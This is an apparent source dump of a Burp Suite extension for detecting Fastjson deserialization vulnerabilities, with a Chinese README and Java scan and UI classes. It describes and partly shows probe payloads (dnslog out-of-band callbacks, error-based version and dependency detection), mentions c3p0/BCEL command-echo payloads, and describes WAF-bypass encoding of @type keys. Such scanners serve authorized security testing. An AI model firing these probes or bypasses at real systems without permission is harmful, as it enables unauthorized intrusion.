100 |
101 | 对应config.yml扫描模块如下:`payloads`可自定义
102 |
103 |
104 |
105 | ### 命令回显拓展扫描
106 |
107 | 对应config.yml扫描模块如下:`payloads`和`commandInputPointField`可自定义。`commandInputPointField`为插入的header头,通过java回显来判断是否存在漏洞
108 |
109 |
110 |
111 | 添加了c3p0和Bcel下的java回现利用payload。其中c3p0二次反序列化调用的是fastjson1.x原生利用链
112 |
113 |
114 |
115 | ### 版本探测
116 |
117 | 对应config.yml扫描模块如下:`regexPayloads`和`dnsLogPayloads`可自定义。
118 |
119 |
120 |
121 | 探测模块使用仅在右键repeater中
122 |
123 |
124 |
125 |
126 |
127 | 探测原理:
128 |
129 | 1. 优先使用`{"@type":"java.lang.AutoCloseable"`,通过左侧的正则去匹配响应包报错版本号(版本1.2.76之后,其报错显示也是1.2.76,不会发生改变)
130 | 2. 通过对应dnslog去匹配版本
131 |
132 | 在自定义dnsLogPayloads时,可编辑 ;左侧内容为任意版本。例如当发现了fastjon2.2版本对应的出网poc为`{"anything":"xaga.dnslog.cn"}`。则添加payload为
133 |
134 | ```
135 | - "version=2.2; payload={\"anything\":\"dnslog-url\"}"
136 | ```
137 |
138 | ### 依赖探测
139 |
140 | 对应config.yml扫描模块如下:`libraries`依赖可自定义。
141 |
142 |
143 |
144 |
145 |
146 | 原理则是通过Character转换报错,通过接口回显结果来进行判断
147 |
148 | ```
149 | {
150 | "x": {
151 | "@type": "java.lang.Character"{
152 | "@type": "java.lang.Class",
153 | "val": ""
154 | }}
155 | ```
156 | 判断条件一:页面有对应类报错回显,则代表存在依赖
157 |
158 |
159 |
160 | 判断条件二:无报错回显则基于响应包进行布尔判断
161 | 先发送一个不存在的依赖,记录下响应包结果
162 |
163 |
164 |
165 | 再对依赖进行fuzz,通过响应包文本相似度(Levenshtein 距离算法)进行比较判断,来得出是否包含该依赖
166 |
167 |
168 |
169 |
170 | ## bypass waf
171 |
172 | 通过gson解析json格式,对key、value添加下划线后进行unicode、hex混合编码,在原有json基础上添加注释换行符。针对无法解析的json payload则对@type进行同上编码,在原有json基础上添加注释换行符。
173 |
174 | ps:因为一些bypass姿势可能会影响payload的正确率,因此只使用了部分bypass方式。
175 |
176 | 以https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi-waf/write-up.md环境为例
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/impl/lowPerceptScan.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IParameter;
7 | import burp.bean.CustomBurpUrl;
8 | import burp.bean.Issus;
9 | import burp.bean.ScanResultType;
10 | import burp.dnslogs.DnsLog;
11 | import burp.dnslogs.DnslogInterface;
12 | import burp.extension.scan.BaseScan;
13 | import burp.utils.Customhelps;
14 |
15 | import java.lang.reflect.InvocationTargetException;
16 | import java.net.URLEncoder;
17 | import java.util.ArrayList;
18 | import java.util.Collections;
19 | import java.util.Iterator;
20 | import java.util.List;
21 |
22 | import static burp.utils.Customhelps.tabFormat;
23 |
24 | public class lowPerceptScan extends BaseScan {
25 |
26 |
27 | public lowPerceptScan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
28 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName);
29 | }
30 |
31 | @Override
32 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
33 |
34 | boolean flag = true;
35 | IHttpRequestResponse newRequestResonse = null;
36 | List issuses = new ArrayList<>();
37 | Issus issus = null;
38 | if (jsonKey ==null || jsonKey.length()<=0){
39 | String httpRequestBody = customBurpUrl.getHttpRequestBody();
40 | List headers = customBurpUrl.getHttpRequestHeaders();
41 | byte[] bytes = helpers.buildHttpMessage(headers, helpers.stringToBytes(httpRequestBody.replace("}","")));
42 | newRequestResonse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), bytes);
43 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResonse);
44 | }else {
45 | byte[] request = iHttpRequestResponse.getRequest();
46 | try {
47 | List parameters = customBurpUrl.getHttpRequestParameters();
48 | // 寻找json param位置
49 | for (IParameter parameter:parameters){
50 | if (jsonKey.equals(parameter.getName())){
51 | IParameter newParam = null;
52 | // 如果参数在 URL 中
53 | if (parameter.getType() == IParameter.PARAM_URL) {
54 | newParam = helpers.buildParameter(jsonKey, parameter.getValue().replace("%7d","").replace("%5d",""), IParameter.PARAM_URL);
55 | }
56 | // 如果参数在 POST body 中
57 | else if (parameter.getType() == IParameter.PARAM_BODY) {
58 | newParam = helpers.buildParameter(jsonKey, parameter.getValue().replace("%7d","").replace("%5d",""), IParameter.PARAM_BODY);
59 | }
60 | request = helpers.updateParameter(request, newParam);
61 | newRequestResonse = callbacks.makeHttpRequest(iHttpRequestResponse.getHttpService(), request);
62 | this.customBurpUrl = new CustomBurpUrl(callbacks,newRequestResonse);
63 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,parameter.getValue().replace("%7d","").replace("%5d",""), customBurpUrl.getHttpResponseBody());
64 | }
65 | }
66 | }catch (Exception e){
67 | throw e;
68 | }
69 | }
70 | if (customBurpUrl.getHttpResponseBody().toLowerCase().contains("syntax error")){
71 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
72 | customBurpUrl.getRequestMethod(),
73 | getExtensionName(),
74 | customBurpUrl.getHttpResponseStatus(),
75 | "{",
76 | tabFormat(ScanResultType.MAY_FASTJSON),
77 | newRequestResonse,
78 | Issus.State.SAVE);
79 | issuses.add(issus);
80 | flag = false;
81 | }
82 | List payloads = this.yamlReader.getStringList("application.lowPerceptionScan.config.dnslogPayloads");
83 | Iterator payloadIterator = payloads.iterator();
84 | // getDnslogName();
85 | while (payloadIterator.hasNext()){
86 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run();
87 | String dnsurl = dnslog.getRandomDnsUrl();
88 | String payload = payloadIterator.next();
89 | payload = payload.replace("dnslog-url",dnsurl);
90 | if (jsonKey == null || jsonKey.length()<=0){
91 | newRequestResonse = run(payload);
92 | }else {
93 | newRequestResonse = run(payload,jsonKey);
94 | }
95 | // 记录随机值存入list中,以便二次验证
96 | randomList.add(dnslog.getRandomPredomain());
97 | this.iHttpRequestResponseList.add(newRequestResonse);
98 | this.payloads.add(payload.replace("dnslog-url",dnsurl));
99 | String bodyContent = null;
100 | // 捕获api.ceye 503异常,避免导致issus未更新
101 | try {
102 | bodyContent = dnslog.getBodyContent();
103 | } catch (Exception e) {
104 | bodyContent = null;
105 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息
106 | }
107 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload.replace("dnslog-url",dnsurl),bodyContent);
108 |
109 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-]
110 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环
111 | if(bodyContent == null|| bodyContent.length()<=0){
112 | continue;
113 | }
114 | boolean isMatch = bodyContent.contains(dnslog.getRandomPredomain());
115 | // dns平台有结果且匹配random 则[+],否则[-]
116 |
117 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去
118 | if (flag){
119 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
120 | customBurpUrl.getRequestMethod(),
121 | getExtensionName(),
122 | customBurpUrl.getHttpResponseStatus(),
123 | isMatch?payload:null,
124 | isMatch?tabFormat(ScanResultType.IS_FASTJSON):tabFormat(ScanResultType.NOT_FOUND),
125 | newRequestResonse,
126 | Issus.State.SAVE);
127 | issuses.add(issus);
128 | flag = false;
129 | }else {
130 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
131 | customBurpUrl.getRequestMethod(),
132 | getExtensionName(),
133 | customBurpUrl.getHttpResponseStatus(),
134 | isMatch?payload:null,
135 | isMatch?tabFormat(ScanResultType.IS_FASTJSON):tabFormat(ScanResultType.NOT_FOUND),
136 | newRequestResonse,
137 | Issus.State.ADD);
138 | issuses.add(issus);
139 | }
140 | }
141 | if (!issuses.isEmpty()){
142 | return issuses;
143 | }
144 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks, dnsName).run(),randomList,iHttpRequestResponseList,payloads,null);
145 | return issuses;
146 | }
147 |
148 |
149 |
150 |
151 | @Override
152 | public String getExtensionName() {
153 | return "lowPerceptScan";
154 | }
155 | }
156 |
--------------------------------------------------------------------------------
/src/main/java/burp/extension/scan/impl/versionDetect.java:
--------------------------------------------------------------------------------
1 | package burp.extension.scan.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.bean.Issus;
7 | import burp.bean.ScanResultType;
8 | import burp.dnslogs.DnsLog;
9 | import burp.dnslogs.DnslogInterface;
10 | import burp.extension.scan.BaseScan;
11 |
12 | import java.lang.reflect.InvocationTargetException;
13 | import java.util.ArrayList;
14 | import java.util.Iterator;
15 | import java.util.List;
16 | import java.util.regex.Matcher;
17 | import java.util.regex.Pattern;
18 |
19 | import static burp.utils.Customhelps.tabFormat;
20 |
21 | public class versionDetect extends BaseScan {
22 |
23 | public versionDetect(IBurpExtenderCallbacks callbacks, IHttpRequestResponse iHttpRequestResponse, IExtensionHelpers helpers,boolean isBypass,String dnsName) {
24 | super(callbacks, iHttpRequestResponse, helpers, isBypass, dnsName);
25 | }
26 |
27 | @Override
28 | public List insertPayloads(String jsonKey) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, InstantiationException {
29 | boolean flag = true;
30 | boolean havePoc = false;
31 | int i = 0 ;
32 | // 先进行不出网报错判断
33 | List versionList = new ArrayList<>();
34 | List payloads = yamlReader.getStringList("application.detectVersionExtension.config.regexPayloads");
35 | Iterator payloadIterator = payloads.iterator();
36 | Issus issus = null;
37 | List issuses = new ArrayList<>();
38 | IHttpRequestResponse newRequestResonse = null;
39 |
40 | while (payloadIterator.hasNext()){
41 | String versionPayload = payloadIterator.next();
42 | String versionRegex = versionPayload.substring(0,versionPayload.indexOf(";")).trim();
43 | String payload = versionPayload.substring(versionPayload.indexOf("payload=")+8);
44 | if (jsonKey == null || jsonKey.length()<=0){
45 | newRequestResonse = run(payload);
46 | }else {
47 | newRequestResonse = run(payload,jsonKey);
48 | }
49 | String bodyContent = customBurpUrl.getHttpResponseBody();
50 | // 捕获api.ceye 503异常,避免导致issus未更新
51 | exportLogs(getExtensionName(),helpers.analyzeRequest(iHttpRequestResponse).getUrl().toString(),jsonKey,payload,bodyContent);
52 |
53 | if(bodyContent == null|| bodyContent.length()<=0){
54 | continue;
55 | }
56 | Pattern pattern = Pattern.compile(versionRegex);
57 | Matcher matcher = pattern.matcher(bodyContent);
58 | if (matcher.find()) {
59 | versionList.add(matcher.group(1));
60 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去
61 | if (flag){
62 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
63 | customBurpUrl.getRequestMethod(),
64 | getExtensionName(),
65 | customBurpUrl.getHttpResponseStatus(),
66 | payload,
67 | "[+] fastjson version may " + versionList.get(i),
68 | newRequestResonse,
69 | Issus.State.SAVE);
70 | issuses.add(issus);
71 | flag = false;
72 | }else {
73 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
74 | customBurpUrl.getRequestMethod(),
75 | getExtensionName(),
76 | customBurpUrl.getHttpResponseStatus(),
77 | payload,
78 | "[+] fastjson version may " + versionList.get(i),
79 | newRequestResonse,
80 | Issus.State.ADD);
81 | issuses.add(issus);
82 | }
83 | // 第一次发现,havePoc = true
84 | havePoc = true;
85 | }
86 | i ++;
87 | }
88 | if (!issuses.isEmpty()){
89 | return issuses;
90 | }
91 |
92 | payloads = yamlReader.getStringList("application.detectVersionExtension.config.dnslogPayloads");
93 | payloadIterator = payloads.iterator();
94 |
95 | while (payloadIterator.hasNext()){
96 | DnslogInterface dnslog = new DnsLog(callbacks, dnsName).run();
97 | String dnsurl = dnslog.getRandomDnsUrl();
98 | String versionPayload = payloadIterator.next();
99 | String version = versionPayload.substring(0,versionPayload.indexOf(";"));
100 | String payload = versionPayload.substring(versionPayload.indexOf("payload=")+8);
101 | payload = payload.replace("dnslog-url",dnsurl);
102 | if (jsonKey == null || jsonKey.length()<=0){
103 | newRequestResonse = run(payload);
104 | }else {
105 | newRequestResonse = run(payload,jsonKey);
106 | }
107 | // 记录随机值存入list中,以便二次验证
108 | randomList.add(dnslog.getRandomPredomain());
109 | this.iHttpRequestResponseList.add(newRequestResonse);
110 | this.payloads.add(payload.replace("dnslog-url",dnsurl));
111 | versionList.add(version);
112 | String bodyContent = null;
113 | // 捕获api.ceye 503异常,避免导致issus未更新
114 | try {
115 | bodyContent = dnslog.getBodyContent();
116 | } catch (Exception e) {
117 | bodyContent = null;
118 | System.err.println("获取 bodyContent 失败:" + e.getMessage()); // 记录错误信息
119 | }
120 | //修正返回issus结果:仅for循环结束后或找到payload后才变为[+]/[-]
121 | // dns平台返回为空且payload已循环完毕,则[-], 否则直接跳入下一个循环
122 | if(bodyContent == null|| bodyContent.length()<=0){
123 | continue;
124 | }
125 |
126 | // dns平台有结果且匹配random 则[+],否则[-]
127 | if (bodyContent.contains(dnslog.getRandomPredomain())){
128 | // 碰到能检测出多个payload,则更新第一个issus的状态为[+],后续payload直接add [+]issus进去
129 | if (flag){
130 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
131 | customBurpUrl.getRequestMethod(),
132 | getExtensionName(),
133 | customBurpUrl.getHttpResponseStatus(),
134 | payload,
135 | tabFormat(ScanResultType.VERSION_INFO,version),
136 | newRequestResonse,
137 | Issus.State.SAVE);
138 | issuses.add(issus);
139 | flag = false;
140 | }else {
141 | issus = new Issus(customBurpUrl.getHttpRequestUrl(),
142 | customBurpUrl.getRequestMethod(),
143 | getExtensionName(),
144 | customBurpUrl.getHttpResponseStatus(),
145 | payload,
146 | tabFormat(ScanResultType.VERSION_INFO,version),
147 | newRequestResonse,
148 | Issus.State.ADD);
149 | issuses.add(issus);
150 | }
151 | // 第一次发现,havePoc = true
152 | havePoc = true;
153 | }
154 | }
155 |
156 | if (havePoc){
157 | return issuses;
158 | }
159 | //加入二次验证后需要在最后进行判断
160 | issuses = checkoutDnslog(getExtensionName(),new DnsLog(callbacks,dnsName).run(),randomList,iHttpRequestResponseList,payloads,versionList);
161 | return issuses;
162 | }
163 |
164 | @Override
165 | public String getExtensionName() {
166 | return "versionDetect";
167 | }
168 | }
169 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/ScanQueueTag.java:
--------------------------------------------------------------------------------
1 | package burp.ui;
2 |
3 | import java.awt.*;
4 | import java.text.SimpleDateFormat;
5 | import java.util.ArrayList;
6 | import java.util.Date;
7 | import java.util.List;
8 | import javax.swing.*;
9 | import javax.swing.table.AbstractTableModel;
10 | import javax.swing.table.TableModel;
11 |
12 | import burp.*;
13 |
14 | public class ScanQueueTag extends AbstractTableModel implements IMessageEditorController {
15 |
16 | private JSplitPane mjSplitPane;
17 | private List Udatas = new ArrayList();
18 | private IMessageEditor HRequestTextEditor;
19 | private IMessageEditor HResponseTextEditor;
20 | private IHttpRequestResponse currentlyDisplayedItem;
21 | private ScanQueueTag.URLTable Utable;
22 | private JScrollPane UscrollPane;
23 | private JSplitPane HjSplitPane;
24 | private JTabbedPane Ltable;
25 | private JTabbedPane Rtable;
26 |
27 | public ScanQueueTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs) {
28 | JPanel scanQueue = new JPanel(new BorderLayout());
29 |
30 | // 主分隔面板
31 | mjSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
32 |
33 | // 任务栏面板
34 | Utable = new ScanQueueTag.URLTable(ScanQueueTag.this);
35 | UscrollPane = new JScrollPane(Utable);
36 |
37 | // 请求与响应界面的分隔面板规则
38 | HjSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
39 | HjSplitPane.setResizeWeight(0.5);
40 |
41 | // 请求的面板
42 | Ltable = new JTabbedPane();
43 | HRequestTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false);
44 | Ltable.addTab("Request", HRequestTextEditor.getComponent());
45 |
46 | // 响应的面板
47 | Rtable = new JTabbedPane();
48 | HResponseTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false);
49 | Rtable.addTab("Response", HResponseTextEditor.getComponent());
50 |
51 | // 自定义程序UI组件
52 | HjSplitPane.add(Ltable, "left");
53 | HjSplitPane.add(Rtable, "right");
54 |
55 | mjSplitPane.add(UscrollPane, "left");
56 | mjSplitPane.add(HjSplitPane, "right");
57 |
58 | scanQueue.add(mjSplitPane);
59 | tabs.addTab("扫描队列", scanQueue);
60 | }
61 |
62 | @Override
63 | public IHttpService getHttpService() {
64 | return currentlyDisplayedItem.getHttpService();
65 | }
66 |
67 | @Override
68 | public byte[] getRequest() {
69 | return currentlyDisplayedItem.getRequest();
70 | }
71 |
72 | @Override
73 | public byte[] getResponse() {
74 | return currentlyDisplayedItem.getResponse();
75 | }
76 |
77 | @Override
78 | public int getRowCount() {
79 | return this.Udatas.size();
80 | }
81 |
82 | @Override
83 | public int getColumnCount() {
84 | return 8;
85 | }
86 |
87 | @Override
88 | public String getColumnName(int columnIndex) {
89 | switch (columnIndex) {
90 | case 0:
91 | return "#";
92 | case 1:
93 | return "extensionMethod";
94 | case 2:
95 | return "requestMethod";
96 | case 3:
97 | return "url";
98 | case 4:
99 | return "statusCode";
100 | case 5:
101 | return "issue";
102 | case 6:
103 | return "startTime";
104 | case 7:
105 | return "endTime";
106 | }
107 | return null;
108 | }
109 |
110 | @Override
111 | public Class> getColumnClass(int columnIndex) {
112 | return String.class;
113 | }
114 |
115 | @Override
116 | public Object getValueAt(int rowIndex, int columnIndex) {
117 | ScanQueueTag.TablesData datas = this.Udatas.get(rowIndex);
118 | switch (columnIndex) {
119 | case 0:
120 | return datas.id;
121 | case 1:
122 | return datas.extensionMethod;
123 | case 2:
124 | return datas.requestMethod;
125 | case 3:
126 | return datas.url;
127 | case 4:
128 | return datas.statusCode;
129 | case 5:
130 | return datas.issue;
131 | case 6:
132 | return datas.startTime;
133 | case 7:
134 | return datas.endTime;
135 | }
136 | return null;
137 | }
138 |
139 | /**
140 | * 新增任务至任务栏面板
141 | *
142 | * @param extensionMethod
143 | * @param requestMethod
144 | * @param url
145 | * @param statusCode
146 | * @param issue
147 | * @param requestResponse
148 | * @return int id
149 | */
150 | public int add(String extensionMethod, String requestMethod, String url,
151 | String statusCode, String issue, IHttpRequestResponse requestResponse) {
152 | synchronized (this.Udatas) {
153 | Date d = new Date();
154 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
155 | String startTime = sdf.format(d);
156 |
157 | int id = this.Udatas.size();
158 | this.Udatas.add(
159 | new TablesData(
160 | id,
161 | extensionMethod,
162 | requestMethod,
163 | url,
164 | statusCode,
165 | issue,
166 | startTime,
167 | "",
168 | requestResponse
169 | )
170 | );
171 | fireTableRowsInserted(id, id);
172 | return id;
173 | }
174 | }
175 |
176 | /**
177 | * 更新任务状态至任务栏面板
178 | *
179 | * @param id
180 | * @param extensionMethod
181 | * @param requestMethod
182 | * @param url
183 | * @param statusCode
184 | * @param issue
185 | * @param requestResponse
186 | * @return int id
187 | */
188 | public int save(int id, String extensionMethod, String requestMethod,
189 | String url, String statusCode, String issue,
190 | IHttpRequestResponse requestResponse) {
191 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(id);
192 | String startTime = dataEntry.startTime;
193 |
194 | Date d = new Date();
195 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
196 | String endTime = sdf.format(d);
197 |
198 | synchronized (this.Udatas) {
199 | this.Udatas.set(
200 | id,
201 | new TablesData(
202 | id,
203 | extensionMethod,
204 | requestMethod,
205 | url,
206 | statusCode,
207 | issue,
208 | startTime,
209 | endTime,
210 | requestResponse
211 | )
212 | );
213 | fireTableRowsUpdated(id, id);
214 | return id;
215 | }
216 | }
217 |
218 | /**
219 | * 自定义Table
220 | */
221 | private class URLTable extends JTable {
222 | public URLTable(TableModel tableModel) {
223 | super(tableModel);
224 | }
225 |
226 | public void changeSelection(int row, int col, boolean toggle, boolean extend) {
227 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(convertRowIndexToModel(row));
228 | HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true);
229 | HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false);
230 | currentlyDisplayedItem = dataEntry.requestResponse;
231 | super.changeSelection(row, col, toggle, extend);
232 | }
233 | }
234 |
235 | /**
236 | * 界面显示数据存储模块
237 | */
238 | private static class TablesData {
239 | final int id;
240 | final String extensionMethod;
241 | final String requestMethod;
242 | final String url;
243 | final String statusCode;
244 | final String issue;
245 | final String startTime;
246 | final String endTime;
247 | final IHttpRequestResponse requestResponse;
248 |
249 | public TablesData(int id, String extensionMethod, String requestMethod,
250 | String url, String statusCode, String issue,
251 | String startTime, String endTime, IHttpRequestResponse requestResponse) {
252 | this.id = id;
253 | this.extensionMethod = extensionMethod;
254 | this.requestMethod = requestMethod;
255 | this.url = url;
256 | this.statusCode = statusCode;
257 | this.issue = issue;
258 | this.startTime = startTime;
259 | this.endTime = endTime;
260 | this.requestResponse = requestResponse;
261 | }
262 | }
263 | }
--------------------------------------------------------------------------------
/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
--------------------------------------------------------------------------------
/src/main/java/burp/ui/BaseSettingTag.java:
--------------------------------------------------------------------------------
1 | package burp.ui;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.utils.YamlReader;
5 |
6 | import javax.swing.*;
7 | import java.awt.*;
8 | import java.io.PrintWriter;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | public class BaseSettingTag {
13 | private YamlReader yamlReader;
14 |
15 | private JCheckBox isStartBox;
16 | private JCheckBox isStartLowPercept;
17 | private JCheckBox isStartBypass;
18 | private JCheckBox isScanGetJsonBox;
19 | private JCheckBox isScanPostJsonBox;
20 | private JCheckBox isScanCookieJsonBox;
21 | private JCheckBox isScanJsonBox;
22 | private JCheckBox isScanBodyJsonBox;
23 | private IBurpExtenderCallbacks callbacks;
24 | private JCheckBox isStartCmdEchoExtensionBox;
25 | private JCheckBox isStartRemoteCmdExtensionBox;
26 | private String dnslogName;
27 |
28 | public BaseSettingTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs, YamlReader yamlReader) {
29 | this.callbacks = callbacks;
30 | JPanel baseSetting = new JPanel(new GridBagLayout());
31 | GridBagConstraints c = new GridBagConstraints();
32 | this.yamlReader = yamlReader;
33 | // 添加下拉框
34 | // # DnsLogCn = http://dnslog.cn的接口
35 | // # BurpDnsLog = burp自带的dnslog接口
36 | // # CeyeDnslog = http://ceye.io的接口
37 | // # EyesDnslog = https://eyes.sh的接口
38 | String[] options = {"DnsLogCn", "BurpDnsLog", "CeyeDnslog","EyesDnslog"}; // 下拉框选项
39 | JComboBox comboBox = addComboBox(baseSetting, c, "dnslog平台选择:", options);
40 |
41 | this.input1_1(baseSetting, c);
42 | this.input1_2(baseSetting, c);
43 | this.input1_3(baseSetting, c);
44 | this.input3_1(baseSetting, c);
45 | this.input3_2(baseSetting, c);
46 | this.input3_3(baseSetting, c);
47 | this.input3_4(baseSetting, c);
48 | // this.input4_1(baseSetting, c);
49 | tabs.addTab("基本设置", baseSetting);
50 | }
51 |
52 | private void input1_1(JPanel baseSetting, GridBagConstraints c) {
53 | JLabel br_lbl_1_1 = new JLabel("基础设置");
54 | br_lbl_1_1.setForeground(new Color(255, 89, 18));
55 | br_lbl_1_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_1_1.getFont().getSize() + 2));
56 | c.insets = new Insets(5, 5, 5, 5);
57 | c.gridx = 0;
58 | c.gridy = 1;
59 | baseSetting.add(br_lbl_1_1, c);
60 | }
61 |
62 | private void input1_2(JPanel baseSetting, GridBagConstraints c) {
63 | this.isStartBox = new JCheckBox("插件-启动", this.yamlReader.getBoolean("isStart"));
64 | this.isStartBox.setFont(new Font("Serif", Font.PLAIN, this.isStartBox.getFont().getSize()));
65 | c.insets = new Insets(5, 5, 5, 5);
66 | c.gridx = 0;
67 | c.gridy = 2;
68 | baseSetting.add(this.isStartBox, c);
69 | }
70 |
71 | private void input1_3(JPanel baseSetting, GridBagConstraints c) {
72 | this.isStartBypass = new JCheckBox("Bypass waf", this.yamlReader.getBoolean("isStartBypass"));
73 | this.isStartBypass.setFont(new Font("Serif", Font.PLAIN, this.isStartBypass.getFont().getSize()));
74 | c.insets = new Insets(5, 5, 5, 5);
75 | c.gridx = 0;
76 | c.gridy = 3;
77 | baseSetting.add(this.isStartBypass, c);
78 | }
79 |
80 | // private void input4_1(JPanel baseSetting, GridBagConstraints c) {
81 | // JLabel br_lbl_3_1 = new JLabel("dnslog平台选择");
82 | // br_lbl_3_1.setForeground(new Color(255, 89, 18));
83 | // br_lbl_3_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_3_1.getFont().getSize() + 2));
84 | // c.insets = new Insets(15, 5, 5, 5);
85 | // c.gridx = 0;
86 | // c.gridy = 9;
87 | // baseSetting.add(br_lbl_3_1, c);
88 | // }
89 | private JComboBox addComboBox(JPanel baseSetting, GridBagConstraints c, String labelText, String[] options) {
90 | // 创建标签
91 | JLabel label = new JLabel(labelText);
92 | label.setForeground(new Color(255,89,18));
93 | label.setFont(new Font("Serif", Font.PLAIN, label.getFont().getSize() + 2));
94 | c.insets = new Insets(15, 5, 5, 5);
95 | c.gridx = 0;
96 | c.gridy = 10;
97 | c.anchor = GridBagConstraints.WEST;
98 | baseSetting.add(label, c);
99 | String yamlDnsname = this.yamlReader.getString("dnsLogModule.provider");
100 | this.setDnslogName(yamlDnsname);
101 | int id = 0;
102 | for (int i = 0; i < options.length; i++) {
103 | if (options[i].equals(yamlDnsname)){
104 | id = i;
105 | break;
106 | }
107 | // {
108 | // PrintWriter printWriter = new PrintWriter(callbacks.getStderr(), true);
109 | // printWriter.println("config.yml parse error -> dnsLogModule.provider");
110 | // }
111 | }
112 | // 创建下拉框
113 | JComboBox comboBox = new JComboBox<>(options);
114 | comboBox.setSelectedIndex(id); // 默认选中第一个选项
115 | c.gridx = 0;
116 | c.gridy = 11;
117 | baseSetting.add(comboBox, c);
118 |
119 | // 添加事件监听器
120 | comboBox.addActionListener(e -> {
121 | String selectedOption = (String) comboBox.getSelectedItem();
122 | callbacks.printOutput("用户选择了: " + selectedOption);
123 | setDnslogName(selectedOption);
124 | });
125 |
126 | return comboBox;
127 | }
128 |
129 | // private void input2_1(JPanel baseSetting, GridBagConstraints c) {
130 | // JLabel br_lbl_2_1 = new JLabel("扫描类型设置");
131 | // br_lbl_2_1.setForeground(new Color(255, 89, 18));
132 | // br_lbl_2_1.setFont(new Font("Serif", Font.PLAIN, br_lbl_2_1.getFont().getSize() + 2));
133 | // c.insets = new Insets(15, 5, 5, 5);
134 | // c.gridx = 0;
135 | // c.gridy = 3;
136 | // baseSetting.add(br_lbl_2_1, c);
137 | // }
138 |
139 | // private void input2_2(JPanel baseSetting, GridBagConstraints c) {
140 | // this.isScanGetJsonBox = new JCheckBox("扫描Get参数的Json", this.yamlReader.getBoolean("scan.type.isScanGetJson"));
141 | // this.isScanGetJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanGetJsonBox.getFont().getSize()));
142 | // c.insets = new Insets(5, 5, 5, 5);
143 | // c.gridx = 0;
144 | // c.gridy = 4;
145 | // baseSetting.add(this.isScanGetJsonBox, c);
146 | // }
147 | //
148 | // private void input2_3(JPanel baseSetting, GridBagConstraints c) {
149 | // this.isScanPostJsonBox = new JCheckBox("扫描Post参数的Json", this.yamlReader.getBoolean("scan.type.isScanPostJson"));
150 | // this.isScanPostJsonBox.setFont(new Font("Serif", Font.PLAIN, this.isScanPostJsonBox.getFont().getSize()));
151 | // c.insets = new Insets(5, 5, 5, 5);
152 | // c.gridx = 0;
153 | // c.gridy = 5;
154 | // baseSetting.add(this.isScanPostJsonBox, c);
155 | // }
156 | //
157 | // private void input2_4(JPanel baseSetting, GridBagConstraints c) {
